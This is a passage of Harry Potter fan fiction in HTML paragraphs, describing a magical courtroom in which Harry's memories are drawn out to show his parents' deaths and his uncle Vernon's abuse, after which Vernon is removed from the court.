written.</p>\n\n<p> Hermione Granger and Ronald Weasley were also both present. Ron was not looking forward to seeing exactly what Vernon Dursley had done to his best friend. And Hermione was not looking forward to seeing it all again.</p>\n\n<p> And Dumbledore, he had his own reasons for hoping that this went well, and not all of them to do with his increasing attachment and fondness for Harry.</p>\n\n<p> There were others present who didn&#8217;t want to see Harry do this. Mr and Mrs Weasley, Cornelius Fudge, Hagrid, and Aunt Petunia- she&#8217;d only understood that Harry could die. Ms Figg was also there. Bill Weasley had sent his apologies for being there, as he had suddenly been recalled to Gringotts.</p>\n\n<p> Still, there were far too many people there. But at least, from Harry&#8217;s point of view, he would be free of some unpleasant memories for a while. He would be a blank slate for about an hour, whilst the potions the Phoenix Order wizards were giving him took effect.</p>\n\n<p> The sandy-haired Phoenix wizard grip on his arm was reassuring as Harry was lead to the witness seat within the magical symbol at the front of the room. The wooden seat that was normally there had been swapped for one with a wider, sturdier build, n a soft green leather finish. The arms on the chair were wider too, but this was to accommodate old leather straps with buckle on them. </p>\n\n<p> He was gently guided into his seat, he paid little attention to the Triquatra symbol as it glowed white, and then faded to a soft yellow-orange, though Judge Ravencast took great interest and began scribbling notes straight away. The darker haired Phoenix wizard gave him a reassuring smile as he strapped Harry&#8217;s arms to the seat. At some point, Harry would have to ask what their names were.</p>\n\n<p> Over the next half an hour, various potions were given to him; spells were cast.</p>\n\n<p> A larger binding spell was cast over the entire courtroom, one that would prevent anyone within the room from ever revealing what they saw in a pensieve later. Of course this wouldn&#8217;t make the reporters descriptions of what they saw any less graphic.</p>\n\n<p> The fair-haired wizard held a small vial to Harry&#8217;s lips and prompted Harry to drink. Harry almost gagged; the potion was disgustingly reminiscent of the Skele-Gro he&#8217;d taken in his second year. The wizards face was sympathetic, and Harry drank the rest.</p>\n\n<p> Harry finally decided to ask his name, since the room he was in was starting to fade. The response he got made him laugh one last time.</p>\n\n<p> &#8220;Well I&#8217;m Barry, and the dark-haired one is Larry.&#8221;</p>\n\n<p> Before long, Harry was completely relaxed, a look of vacuous stupidity on his face. He resembled a victim of the Imperius curse.</p>\n\n<p> As Dumbledore, Lupin and Fletcher quietly conversed at the prosecution desk, the final potion was being mixed. It required three drops of the blood of the person taking it, and had to be used within five minutes. </p>\n\n<p> Murmurs of conversation could be heard throughout the courtroom, and an occasional hacking cough from a nervous Vernon Dursley. A rustle of clothing as Dudley Dursley scratched his enormous backside, and the general hustle and bustle sounds from Diagon Alley.</p>\n\n<p> But Harry heard none of that. All that he could hear was humming. Humming of a soft-voiced young woman. The kind that follows no real tune, the kind that your mind makes up as it goes along.</p>\n\n<p> Warmth and contentedness, the likes of which Harry had not known in a very long time filled him. A long forgotten emotion re-awoken. The feeling of being held, protected, loved. It was such a wonderful feeling.</p>\n\n<p> A feeling that those few who ever survived the curse then spent the rest of their lives trying to achieve again.</p>\n\n<p> When Harry began to hum the same unknown tune, those in the courtroom fell silent, the phoenix wizards clearly surprised.</p>\n\n<p> No conscious thought at all should be present at this stage.</p>\n\n<p> &#8220;Lily?&#8221; Remus gasped.</p>\n\n<p> &#8220;What is it Lupin?&#8221; Fletcher asked.</p>\n\n<p> &#8220;Lily. She used to hum that. We never had any idea what tune it was though.&#8221;</p>\n\n<p> &#8220;Oh.&#8221;</p>\n\n<p> Harry continued to hum softly, and at times it seemed as though there were an echo of a woman-humming coming from within the walls of the courtroom itself.</p>\n\n<p> &#8220;Do we continue sir?&#8221; Larry quietly asked the judge.</p>\n\n<p> Ravencast shared a brief glance with Dumbledore, and then nodded.</p>\n\n<p> The moment that the final potion was administered, the humming sound intensified, until it was almost the only audible sound within the room.</p>\n\n<p> The humming was broken with sobs, and deep wracking breaths. And the sound of a gentle shushing came from the same voice. Harry&#8217;s mother trying to comfort him, but she was afraid herself. She was crying, that much they could hear in her voice. There was another soft sob.</p>\n\n<p> &#8220;James&#8230;&#8221;</p>\n\n<p> Hermione&#8217;s hand went to her mouth, she knew what memory this was, she could only hope that the images that occurred alongside those sounds would not played to the audience of hungry reporters.</p>\n\n<p> She got her wish, for the time being.</p>\n\n<p> &#8220;Harry. Listen to me. Listen to my voice.&#8221; The Judge began, he was the only one allowed to ask questions that would directly aid Harry in recalling the correct memories.</p>\n\n<p> The mere sound of the Judges voice conjured within Harry&#8217;s otherwise blank mind the first time he&#8217;d seen Ravencast Snr. And other jumbled images of the judge, all of which emerged in a soft mist. The corners of rooms within Harry&#8217;s memories, and the walls, gave off a soft shimmer of light, which bent and churned, making solid shapes transparent. Those walls could be seen through, so that anyone who wasn&#8217;t sat within the rooms as they played from Harry&#8217;s mind could still see into them. People and objects possessed a ghost-like transparency, but they had colour, unlike the grey hue of Nearly Headless Nick. But the people became more defined; until gradually they were so opaque that one could believe that they truly stood within the courtroom. Though Harry still sat, with his eyes closed within the centre, his image moved around and spoke within the memories too. Currently Harry&#8217;s past self was stood within the outer lobby of the main court, watching as the Judge and his Phoenix comrades walked past.</p>\n\n<p> &#8220;Well this is weird.&#8221; Ron whispered.</p>\n\n<p> &#8220;Harry if you are able, please show us memories of your family.&#8221;</p>\n\n<p> Perhaps the Judge should have given a little more thought to his question, but then, truly how many people would have thought that Memorillius curse was so strong that it would take them all the way back to Goderic&#8217;s Hollow?</p>\n\n<p> &#8220;There Harry look what Daddy&#8217;s doing. And remember that if I ever see you do that, you&#8217;ll be cleaning up without the aid of a wand as well.&#8221;</p>\n\n<p> &#8220;Aww, Lily don&#8217;t be such a stick-in-the-mud.&#8221;</p>\n\n<p> The memory was very old. A young black haired baby smiled as he was bounced gently against his mother&#8217;s hip, her slender arms wrapped about his waist. He couldn&#8217;t have been more than seven months old. Brilliant green eyes observed everything; the completely smooth forehead was a powerful reminder of what could have been. James Potter and Sirius Black sat on the floor, of what was apparently the Potters kitchen; dark grease and machine parts surrounded them. Black motor-oil spread up their arms, on their cheeks and covering most of their clothes. Both had very cheeky grins on their faces, that contrasted with the half-hearted stern expression on Lily&#8217;s own.</p>\n\n<p> &#8220;Hmm. Looks like Daddy&#8217;s definitely going to get it tonight.&#8221; She told Harry in a conspiratorial tone.</p>\n\n<p> James didn&#8217;t look frightened; in fact he smirked as he got to his feet. </p>\n\n<p> &#8220;You promise?&#8221; </p>\n\n<p> Sirius laughed. Lily made another attempt to look stern, but then squealed as her husband moved to put one grease-covered arm around her.</p>\n\n<p> &#8220;Behave James. There&#8217;s impressionable youth around.&#8221;</p>\n\n<p> &#8220;I think that Sirius is vastly more corrupted than you or I.&#8221;</p>\n\n<p> &#8220;Hey!&#8221; Sirius protested slightly.</p>\n\n<p> James shrugged as if to say &#8216;deny it&#8217;, and turned back to his wife.</p>\n\n<p> &#8220;If you wanted sensible Lily, you should have married Remus.&#8221;</p>\n\n<p> &#8220;Maybe I will.&#8221;</p>\n\n<p> The real Remus smiled at this exchange, a conversation between his friends that he&#8217;d hadn&#8217;t been around for. But it was like so many others that he could remember, from both before and after Harry&#8217;s birth. The in-joke being that Lily once confessed (whilst slightly liquored up on Dragon Fire Whiskey) that she had had a crush on the excessively facial-haired one in her younger years at Hogwarts, before another young man had taken her eye. </p>\n\n<p> The overwhelming happiness of such a memory caused Harry to smile in contentment. He possessed so few memories of true happiness, and even fewer of his parents.</p>\n\n<p> The images faded. Harry began humming again. And as clear as a performance by the London Philharmonic Orchestra, Lily&#8217;s voice hummed back.</p>\n\n<p> But there was a cracking in the young woman&#8217;s voice, a breathlessness that could have only been caused by fear.</p>\n\n<p> They heard soft sobbing, and a deep grasp for breath.</p>\n\n<p> Images flooded the room again. The faint outlines of walls were etched within the air. Outlines of objects within that room, made it clear it was the Potter&#8217;s kitchen- almost as untidy as the Weasley&#8217;s, Lily Potter was not a Master Chef.</p>\n\n<p> The people within the room were far more solid, only a faint blurring of their outline gave the indication they were not really there. </p>\n\n<p> The deep green of James Potter&#8217;s robes, to the vibrant red-gold of Lily&#8217;s hair, they were all clear. This time the year old Harry, was held in his father&#8217;s arms. A storybook lay open on the kitchen table. His father turned the pages as he read quietly to his fascinated son. Lily hummed as she made dinner, her lips raised in a slight curve of contentment. James gaze frequently glanced up in her direction, and a smile lit his face. </p>\n\n<p> They were contented, happy, and very much in love.</p>\n\n<p> And then a shrill siren sound ripped through the air, shattering the happy scene, like shards of a broken mirror.</p>\n\n<p> A cup slipped from Lily&#8217;s hand, spilling liquid contents, and breaking old porcelain against the kitchen floor. </p>\n\n<p> This was it. The one thing that every wizard and witch within England, and some further a field had wanted to see for the past fifteen years. Only now the terrible truth of it all, made those who would see it far less curious. In fact they would have done anything to stop it.</p>\n\n<p> &#8220;It&#8217;s him! Move Lily, take Harry and go upstairs, quickly.&#8221;</p>\n\n<p> &#8220;No, I&#8217;m not leaving you!&#8221;</p>\n\n<p> James Potter grabbed his wife; his hands were harsh against her arms.</p>\n\n<p> &#8220;Lily, listen to me, we both knew this would happen. We have to protect Harry, nothing else matters, not even us!&#8221;</p>\n\n<p> &#8220;But I love you!&#8221;</p>\n\n<p> James Potter let out a heavy breath, as the sirens grew louder.</p>\n\n<p> &#8220;Lily, take Harry and go! It&#8217;s him. Go! Run! I&#8217;ll hold him off&#8230;&#8221;</p>\n\n<p> A loud explosion cracked the air, as one of many protective charms around the Potter household was blown apart like rice paper.</p>\n\n<p> James and Potter looked towards a barrier of peach and amber hued light, one of a handful of charms left, as it began cracking, like glass being held within an ever tightening vice.</p>\n\n<p> James put one hand tenderly to his sons face within his arms, and gave his wife one last passionate kiss. The shrill whining of the magical alarms grew increasingly loud, as the danger drew ever closer.</p>\n\n<p> Those watching were rapt, caught in the emotion, hearts thrumming, mouths dry, all cursed with the foreknowledge of what was to come.</p>\n\n<p> James Potter bundled his son into his wife&#8217;s arms. Lily sobbed openly, and shook her head. The baby she held reached out for his father, as though understanding that he would never see him again, a plaintive</p>\n\n<p> &#8220;Da&#8230;&#8221; was all he could utter.</p>\n\n<p> &#8220;Please James, don&#8217;t do this.&#8221;</p>\n\n<p> &#8220;It&#8217;s already decided Lily, you know that.&#8221;</p>\n\n<p> Lily&#8217;s face streamed with tears, she took a hesitant step back, just as the shimmering barrier of light finally began to shatter.</p>\n\n<p> &#8220;Go.&#8221; Her husband pleaded one last time.</p>\n\n<p> &#8220;I love you.&#8221; She whispered, and then turned and ran, knowing if she did not have the strength to leave in that moment, that she never would.</p>\n\n<p> The moment in which the young Harry could no longer see his father marked the moment in which the image shifted to a hallway within the Potter household, and then the stairs, the landing, running to the third door on the right. The door had a small moving cartoon picture of a cherubic-looking baby on a broomstick, with &#8216;Harry&#8217;s Room&#8217; written underneath it in large black looping scrawl. </p>\n\n<p> The images jolted into a small room. From what could be seen of the faint outline of the room&#8217;s walls, they were coloured blue, with moving clouds, around the uppermost part of the walls, which then darkened into a moving star-field on the ceiling. A large cot, with wooden railings lined one side, under the window that overlooked fields was a blue painted set of drawers, and just in front of this stood Lily. </p>\n\n<p> She rocked her son in her arms, humming to him, that now familiar tune, Harry seemed to be on the verge of crying.</p>\n\n<p> An explosion rocked the house from the lower floor; a deep crack wound a path up one of the walls in Harry&#8217;s room. The sounds of muffled yells could be heard coming up the stairs. Heavy footsteps began a sprint up the staircase.</p>\n\n<p> &#8220;Lily, hurry!&#8221;</p>\n\n<p> James Potter shouted. In the next instance, muffled words from a cruel-sounding voice uttered a curse. A loud, impersonal thud sounded heavily in Remus&#8217;s ears, the signal of one of his closest friends being torn from a world he so loved.</p>\n\n<p> Lily stopped humming, and let out one large heaving sob, a shiver wracked her slim frame. She began whispering under her breath, a spell that couldn&#8217;t be clearly heard. A high, cold cruel laugh came from downstairs.</p>\n\n<p> Lily gripped her son with almost painful intensity, rocking him faster; more it seemed to reassure her than him. Harry began crying softly.</p>\n\n<p> The creak of the old staircase indicated the imminent arrival of the unwelcome visitor. A thudding sound echoed down the stairway, as James Potter&#8217;s corpse was callously pushed down the steps and out of the way.</p>\n\n<p> Lily&#8217;s whisperings grew louder, and faster, until a visible pink hued light began to emanate around her body. The mist gathered in rings around her, then they spilt in half and joined to form a coil around her upper torso. The coil then unwound in one long strip as it passed into Harry. A soft pink glow shone underneath Harry&#8217;s skin, and then dimmed. The spell was cast.</p>\n\n<p> There was an absurdly polite knock at the door.</p>\n\n<p> &#8220;Lily, let me in. I won&#8217;t hurt you.&#8221; A soft voice called. The voice held no warmth, but was clipped in tone, despite the slightly sibilant hissing lilt. It was the voice of someone who was highly intelligent, and deadly cold.</p>\n\n<p> Lily closed her eyes, and kissed Harry gently on the forehead. He clutched at a strand of her hair.</p>\n\n<p> Lily opened her eyes, and looked into emerald orbs identical to her own, except for innocence that was only ever present in a baby&#8217;s eyes.</p>\n\n<p> &#8220;I&#8217;m sorry.&#8221; She choked.</p>\n\n<p> Then the door blew off its hinges, in a blast of yellow light. The concussive force slammed Lily to the floor, the quick movements of her arms during the fall protected Harry, and he never hit the floor. She sat him down on the floor, and then turned as she stood, pulling out her wand from the pocket in her trousers and holding it in front of her. Her arm shook, but her face was determined, though marred by tears. She held her ground defiantly.</p>\n\n<p> &#8220;Hello Lily. Terribly ssorry about the messs, but I couldn&#8217;t sseem to find a key.&#8221; You-Know-Who stopped about two metres away from her.</p>\n\n<p> &#8220;Your husband&#8217;s dead Lily. You&#8217;ll join him if necessary, though I&#8217;d rather keep you alive; you&#8217;re quite beautiful.&#8221;</p>\n\n<p> &#8220;I&#8217;d die before I let you put a hand on me.&#8221; Lily spat out.</p>\n\n<p> Voldemort&#8217;s thin lips drew inward into an even grimmer line. His slit like eyes narrowed.</p>\n\n<p> &#8220;Tell me where it is Lily, and you can go free, I&#8217;ll even ssspare those muggle relatives of yours, ssince you seem ssso fond of their continued exissstence.&#8221;</p>\n\n<p> &#8220;You&#8217;d let us leave, if I told you where it was?&#8221; </p>\n\n<p> Within the memory, Lily appeared momentarily hopeful.</p>\n\n<p> &#8220;You can go Lily. But I&#8217;m afraid Potter junior hass an appointment with hisss father.&#8221;</p>\n\n<p> &#8220;But, he&#8217;s just a baby. Please take me, kill me instead, have mercy!&#8221;</p>\n\n<p> The cloaked man moved forward. </p>\n\n<p> &#8220;Get out of my way, you silly girl.&#8221;</p>\n\n<p> &#8220;No!&#8221;</p>\n\n<p> &#8220;If I let that little bratling live, he&#8217;ll destroy everything I&#8217;ve worked for. Tell me where the Staff is and I&#8217;ll make hiss death quick and painless. I will not risk his learning to use it.&#8221;</p>\n\n<p> Voldemort moved forward then, his intention clear, with a quick flick of his wrist, he caught Lily&#8217;s own, and gave it a sharp tug and twist within his grasp; there was an audible crack. Lily let out a cry of pain as her wand fell from her grasp.</p>\n\n<p> &#8220;Get out of my way woman.&#8221;</p>\n\n<p> Harry&#8217;s crying intensified as though he sensed his mother&#8217;s pain.</p>\n\n<p> Lily stepped back towards her son, turning as though to pick him up. In that moment her mistake became terribly clear.</p>\n\n<p> Voldemort, or at least the small part of him that could still be called human, didn&#8217;t like looking into the eyes of the people he killed. In turning her back she knew she&#8217;d given him the opening he&#8217;d been looking for. Her last act was one of vengeance. </p>\n\n<p> His wand lifted, the words were spoken, and Lily Potter stared into Voldemorts eyes, even as she screamed with the pain of her soul being ripped from her body. In that moment Tom Riddle, saw all of her pain, her loss, her love and her hopes and dreams, as they shattered and spread like dust on the wind.</p>\n\n<p> Lily&#8217;s corpse fell to the floor. </p>\n\n<p> Back in the courtroom, Ron&#8217;s breath caught in his chest, he noticed several others having the same reaction. You-Know-Who turned his wand on the defenceless baby that was clutching at the hand of his mother&#8217;s body.</p>\n\n<p> &#8220;Don&#8217;t worry little wizard, you&#8217;ll be seeing her again soon.&#8221; His tone betrayed how little the Dark Lord really cared about that fact.</p>\n\n<p> &#8220;SIR!!&#8221; Larry called out. Judge Ravencast clearly agreed.</p>\n\n<p> &#8220;Harry listen to me! Listen to my voice, come back to us, come&#8230;&#8221;</p>\n\n<p> &#8220;AVADA KEDAVRA!&#8221;</p>\n\n<p> He was too late. A rush of green light filled the courtroom, a screaming sound so terrible it couldn&#8217;t have been human, ripped at theirs ears. Harry&#8217;s body jolted, and slammed hard against his seat.</p>\n\n<p> Then everything went dark. As though someone had found the switch that worked all forms of light, torches, candles and the sunlight coming through the courtroom windows, all gone in an instant. There was nothing, just black.</p>\n\n<p> Only by the frightened whisperings of those close to her, meant that Hermione knew that the world had not blinked out of existence. For it certainly felt as though Harry was no longer in the back of her mind.</p>\n\n<p> The panic mounted.</p>\n\n<p> &#8220;Everyone stay calm!&#8221; Ravencast&#8217;s voice boomed through the darkness, somehow reassuringly in charge. </p>\n\n<p> Ron&#8217;s hand found Hermione&#8217;s and gripped it tightly.</p>\n\n<p> &#8220;Ron?&#8221;</p>\n\n<p> &#8220;Hermione, are you all right?&#8221; he whispered.</p>\n\n<p> &#8220;I&#8217;m scared.&#8221; She admitted.</p>\n\n<p> &#8220;I can&#8217;t feel him anymore, it&#8217;s like he&#8217;s not even there, like he&#8217;s not even&#8230;&#8221; she broke off in a stifled sob.</p>\n\n<p> Ron took a deep breath, hoping she was wrong, he wrapped an arm around her, and felt her head lean into his chest. His heart quickened inside of it. Was it wrong to have such feelings during such circumstances?</p>\n\n<p> The whispers coming from near Harry grew louder. Security guards were voicing their concerns, Dumbledore let out faint reassurances that everything was all right, but even he didn&#8217;t sound so sure.</p>\n\n<p> Then almost five minutes into the darkness, there was a flicker of sound, like a rumble. A stray beam of light caught against a wall. Hermione felt a faint tickle of a mind at the back of her own.</p>\n\n<p> &#8220;Harry?&#8221; she said questioningly.</p>\n\n<p> It was then that Harry&#8217;s mind exploded outward, catching every living thing within the courtroom, in it&#8217;s wake.</p>\n\n<p> No longer were they silent witnesses to images and sounds of another life, now they were a part of it, living it, the expectations, the emotions attached to each memory, and the pain of it.</p>\n\n<p> Within their own minds, they saw a bright white light, a cacophony of colours melted against it, like paints on a canvas. The white always shone through, but the funnels of many colours; ambers and peaches, the pinks and magenta&#8217;s, the blues and azures, the yellows and okras, spun against it in many ringed wheels, like oil on water. The light split into a million pinpricks against infinite black, the sensation of rushing, of hurtling forward, caught in the wind like flowers in a storm. They heard a scream, male, almost animal like in its agony.</p>\n\n<p> The darkened outlines of rock and rubble were being shifted from their vision. A large and dark form shifted against firelight. And then hands so big they were almost the size of dustbin lids, reached in. Light and the smell of burning assaulted the senses, as Harry Potter was lifted from the remnants of his burning home. No more than a lightening shaped cut on his forehead&#8230; </p>\n\n<p> Then as suddenly as it had begun, it ended, everyone found themselves back within their own minds, back in their seats, the sunlight streamed in through the courtroom window, birds sang in the trees, all was as it had been.</p>\n\n<p> Images and memories danced by at a dizzying pace in the centre of the courtroom around Harry. As though there had been a thousand locked doors in Harry&#8217;s mind, and a few hundred had now been opened all at once.</p>\n\n<p> Memory upon memory flooded out.</p>\n\n<p> His first memory of laughter, giggling deliriously as &#8216;Mooo&#8217;ee&#8217; spun him around on his shoulders. Being fed bad cake at Mrs Figg&#8217;s. His first day at school, a locker door that for some reason just wouldn&#8217;t shut as Dudley and his gang tried to stuff his smaller cousin inside it.</p>\n\n<p> &#8220;Yer a wizard Harry.&#8221;</p>\n\n<p> &#8220;I&#8217;m a what?&#8221;</p>\n\n<p>~</p>\n\n<p> &#8220;Harry Potter, you get in here right now and do the dishes!&#8221;</p>\n\n<p>~</p>\n\n<p> &#8220;It would seem that fame isn&#8217;t everything, is it Mr. Potter?&#8221;</p>\n\n<p>~</p>\n\n<p> &#8220;And there&#8217;s no counter-curse. There&#8217;s no blocking it. Only one known person has ever survived it, and he&#8217;s sitting right in front of me.&#8221;</p>\n\n<p>~</p>\n\n<p> &#8220;So Potty, I hear you had to be rescued again. And from muggles at that!&#8221;</p>\n\n<p>~</p>\n\n<p> &#8220;Today, the twelfth of March, the year two-thousand-two, we call upon the wisdom of our ancestors&#8230;&#8221;</p>\n\n<p>~</p>\n\n<p> Some of the images seen were entirely unimportant, quiet and meaningless to the observer without access to the thoughts that were running through Harry Potters head at those moments in time.</p>\n\n<p> Like Harry doing his homework. Watering the lawn. Sitting in quiet reflection beside the Great Lake in summer, drinking pumpkin juice, listening to Ron and Hermione goad each other into yet another fight.</p>\n\n<p> Awakening from darkness to see Hermione&#8217;s head haloed in morning light, resting upon the crook of her arm, sleeping against the bed that Harry lay on, in the hospital wing.</p>\n\n<p> They saw Quidditch matches, and the Dementors. Once again they heard the terrified pleading of his mother to spare his life.</p>\n\n<p> A chess game, Harry&#8217;s wonder at the moving pieces.</p>\n\n<p> The same bright green light and a cold shiver of fear.</p>\n\n<p> Some memories were little more than dreams. Or nightmares.</p>\n\n<p> The warrior-like Hermione, her hair paler, face more grown, twin blades swinging in graceful arches as they severed the head of a darkened creature before her, in a spray of oil-slick blood. Only now Ron joined her; the planes of his jaw more angular, lines deepening around eyes that were now a steely grey to match the blade of his claymore (A/N: this means a really big two-edge sword b.t.w-think Braveheart) which hung from his back, in a large leather scabbard. His hair was more auburn than ginger; he shot darkened shadows in the corners of the courtrooms, with lightening speed. Silver-tipped arrows brought light to those darkened places, shot from a yew longbow. It was intricately painted with faintly Celtic-looking designs.</p>\n\n<p> Briefly the onslaught of memories abated.</p>\n\n<p> &#8220;What the hell was that?&#8221; Ron said. </p>\n\n<p> Harry began to shake, his body suffered under the strain of a seizure.</p>\n\n<p> Ravencast leapt forward, to stand beside Harry.</p>\n\n<p> &#8220;Harry?&#8221;</p>\n\n<p> Mr Hayes had slightly recovered himself.</p>\n\n<p> &#8220;Is this normal your honour?&#8221;</p>\n\n<p> &#8220;By Merlin no it isn&#8217;t!&#8221;</p>\n\n<p> Fletcher moved forward. </p>\n\n<p> &#8220;Harry? By all that is blessed, is there nothing we can do to wake him up Markus?&#8221;</p>\n\n<p> Dumbledore answered.</p>\n\n<p> &#8220;We cannot. If we wake him now, when so many memories are no longer inside of him, he would most likely die. He must see it through to the end, and then accept them back.&#8221;</p>\n\n<p> &#8220;What if he felt that he&#8217;d shown us what he needed to, do you think Harry is strong enough to know that? Would he be able to stop this himself?&#8221; Ravencast enquired.</p>\n\n<p> Dumbledore seemed to think it over for a moment, and then nodded silently. The Judge turned back to the now limp Harry.</p>\n\n<p> &#8220;Harry, if you can hear me try to concentrate on your Uncle Vernon. Show us the Dursleys.&#8221;</p>\n\n<p> Harry was still a few moments, and then he began to hum again. The walls echoed back with the sweetly soft voice of Lily Potter.</p>\n\n<p> &#8220;No Harry, show us Vernon, show us the Dursleys.&#8221;</p>\n\n<p> As though the name had been a prompt, the courtroom fell back into darkness. But this time it was not all consuming and heavy. It was simply a dark room.</p>\n\n<p> Faint, narrow slats of light, eight in a row, appeared, suspended above the floor. It was light that shone through a metal grill from the outside.</p>\n\n<p> Hermione knew where this was. A moment later Ron had realised, as too did the other Weasleys.</p>\n\n<p> At least those in the courtroom would have the comfort of only witnessing this memory. They wouldn&#8217;t have to experience it for themselves.</p>\n\n<p> The light coming from the metal slats disappeared with a screeching of rusty metal. And then many sounds.</p>\n\n<p> The sound of a lock being opened.</p>\n\n<p> The sound of thudding outside.</p>\n\n<p> The sound of nervous breathing from a young child.</p>\n\n<p> &#8220;Potter get out here now!&#8221; Vernon Dursley bellowed.</p>\n\n<p> The door opened, the audience squinted against the light, and a beefy hand reached in, felt around, and then placed a solid grip on a small skinny arm and wrenched upward.</p>\n\n<p> A tiny, black-haired boy, popped out into the hallway. Harry Potter at just six-years old clearly underfed compared to the various picture of Dudley Dursley that lined the walls. The image lurched as the two of them moved into the Dursleys kitchen.</p>\n\n<p> &#8220;Look at that floor boy, look at it!&#8221; Harry looked down at the shiny kitchen floor.</p>\n\n<p> &#8220;When I tell you to clean something, I want it done properly, look at the state of that!&#8221;</p>\n\n<p> Vernon pointed to a non-existent spot of dirt on the floor.</p>\n\n<p> &#8220;I want it clean enough for Dudley to eat off of, do you understand boy?&#8221;</p>\n\n<p> &#8220;Yes Uncle Vernon.&#8221; The young boy replied as he was pushed towards the floor. A dirty cloth was thrust into his hand, the bucket that contained dirty water from his earlier cleaning, was kicked to the floor.</p>\n\n<p> The simple cruelty of this scene did not fail to touch the hearts of most who saw it. Those in the jury who before had doubted Harry and believed Vernon, were now changing their minds once again. The doubts about Vernon solidified as memories shifted to similar incidents that peppered Harry&#8217;s childhood. It should have come as little surprise to see the first punch thrown. But it did.</p>\n\n<p> There were gasps, and accusing glares levelled at Vernon, who for his part seemed unmoved by the whole thing.</p>\n\n<p> Harry&#8217;s body crumpled to the floor within the memory, he was by now a weakened and emotionally scarred fifteen year-old boy. They were shocked by the increasingly vile words that spilled from Vernon Dursleys mouth. He had the cheek of all things to call Harry a murderer. </p>\n\n<p> &#8220;How could you do that?&#8221;</p>\n\n<p> One of the jury muttered.</p>\n\n<p> Vernon Dursley looked anything but smug now. It was a very different thing to see your own actions as cold clinical fact, instead of through the haze of alcohol-drenched memory. To look past the fusion of rage and blind hatred, to see instead the truth of what happened.</p>\n\n<p> He hated his nephew now no less than before. But he realised now that he was not a brave man. Despite all the hate he had for the dark little worm that&#8217;d crawled his way into his wife&#8217;s heart, he knew he never would have let the depth of his emotions show when sober.</p>\n\n<p> Drunk was another matter. He saw himself do to Harry things that he&#8217;d only previously threatened, and things he&#8217;d only conjured in his darkest dreams. Didn&#8217;t the little freak deserve it after all? When was anyone going to say anything about that? As Vernon looked at the jury of his own kind, what he aw was a bunch of pathetic little people who had bought the idea that wizards were harmless, and &#8230; normal? Vernon was disgusted.</p>\n\n<p> The jury were even more weak-willed than he was. Hadn&#8217;t he only done what was necessary after all? </p>\n\n<p> &#8220;Harry, it&#8217;s time to come back. Harry, come back to us&#8230;please.&#8221; Dumbledore uttered in a gentle yet firm voice beside Harry&#8217;s ear.</p>\n\n<p> The memories thankfully ceased to play. The weight of the accusing glares from most of the courtroom began to weigh heavily on Vernon Dursley, who still felt more than justified in his actions. But they were now itching to pass the guilty verdict; he could see it in their eyes. He looked to his lawyer, Mr Hayes, an irritating youth with a big mouth, a few clever ideas and an extortionate fee. What he saw when he looked at the man was a surprise. Hayes hated the magically inclined for his own reasons, Vernon had thought he might see silent praise in the lawyer&#8217;s eyes concerning his actions with the boy, but instead he saw &#8230; repulsion? </p>\n\n<p> Hayes was repulsed by him? Granted he hadn&#8217;t been entirely honest about everything he&#8217;d done to his nephew. Mr Hayes was apparently more squeamish when it came to appropriate punishment for troublesome youth than he originally thought. </p>\n\n<p> His anger got the better of him.</p>\n\n<p> &#8220;Is that it?&#8221; he snarled.</p>\n\n<p> &#8220;Is that all it takes to make you people ready to send me to jail? It&#8217;s pathetic. If you had any idea of what it&#8217;s like living with that little freak, you&#8217;d know he deserved it!&#8221;</p>\n\n<p> A commotion broke out in the audience gallery, a scuffle between Lupin, Fudge and another wizard. Fudge and the other wizard were holding an enraged Lupin back. Had it been Sirius, the other two wizards probably would have been hexed into the next millennium by now. </p>\n\n<p> &#8220;Let go of me!&#8221; he raged. He screamed at Vernon, every part of him burning with hatred.</p>\n\n<p> &#8220;You&#8217;re pathetic, you can&#8217;t run your own life, and so you destroy someone else&#8217;s. You&#8217;re not a man; you&#8217;re the freak. You hurt children because you know that they can&#8217;t fight back. What the hell are you? If we sit in judgement over you, it is not without good reason, you&#8217;re a fucking animal, and you deserve to be put down!&#8221;</p>\n\n<p> His elbow connected with Fudges right eye. Somehow Fudge managed to keep one hand on Lupin&#8217;s arm, as the other rushed to nurse his injury. The other wizard, a French ambassador tightened his hold too. </p>\n\n<p> &#8220;That&#8217;s enough Remus!&#8221; Ravencast bellowed. The Judge turned a cold gaze on Vernon.</p>\n\n<p> &#8220;And Mr Dursley, I suggest you keep quiet as well, unless you wish to keep incriminating yourself.&#8221;</p>\n\n<p> &#8220;You freaks have already decided!&#8221; Vernon roared, pulling himself up within the barred dock. Vernon then made the mistake of making a few choice comments about the judges parentage, alluding that his maternal line may have been crossed with a goat at some point, before proceeding to tell every wizard present that they were an abomination, that the jury were freak-loving puppets, his wife was under a spell, and that the only one here he could trust was his son. Dudley for his part appeared both flustered and confused, and then had the goods graces to be ashamed when is father boasted about his son&#8217;s role in pointing out when Harry needed punishing. </p>\n\n<p> He ended his tirade with a few meaningless threats, given at by this point four security guards were dragging him away- no mean feat given Vernon&#8217;s bulk.</p>\n\n<p> Eventually two of the wizards- with some effort- picked up a leg a piece, and they carried him towards the door. </p>\n\n<p> The double doors slammed shut, and Vernon&#8217;s continued cursing became a muffled din. </p>\n\n<p> Those in the courtroom began looking at each other as though they couldn&#8217;t quite believe all that had just happened. </p>\n\n<p> Petunia appeared to be relieved, perhaps because she would no longer face the questions of both the prosecution and the defence. She had known what Vernon had done was wrong, but how could she choose between the man she had spent twenty years of her life with, and the nephew she had begun to realise was all that she could ever have asked for in a son, if she hadn&#8217;t been to blinded with bitterness to notice. </p>\n\n<p> &#8220;Anyone else thinking that Azkaban prison would be too lenient for that man?&#8221; Fletcher grumbled loudly. A few ayes were sent back.</p>\n\n<p> Throughout all of this, Harry had remained thankfully unconscious.</p>\n\n<p> But now he stirred.</p>\n\n<p> Eyes blinking against the light, the potentially brain-damaged wizard groaned, and attempted to move a hand to his throbbing head, forgetting that they had been tied to the chair earlier.</p>\n\n<p> Remus threw away Fudge&#8217;s grasp, and vaulted over the little fence that separated audience gallery from the actual court.</p>\n\n<p> &#8220;Harry!&#8221; he exclaimed, his hands gripping the young wizards shoulders.</p>\n\n<p> &#8220;Harry, are you alright?&#8221;</p>\n\n<p> Dumbledore edged forward, the court took a collective breath.</p>\n\n<p> Then in a dry and cracked voice the-boy-who-lived said.</p>\n\n<p> &#8220;Course I&#8217;m alright Remus. Though I&#8217;ve got a thumping headache, think I could get a couple of paracetamol?&#8221;</p>\n\n<p> Dumbledore chuckled; Remus appeared to have gone into shock.</p>\n\n<p> &#8220;What?&#8221; Harry mumbled.</p>\n\n<p> &#8220;Did it work, did you see?&#8221;</p>\n\n<p>~o0o~</p>\n\n<p> &#8220;Are you quite sure he hasn&#8217;t 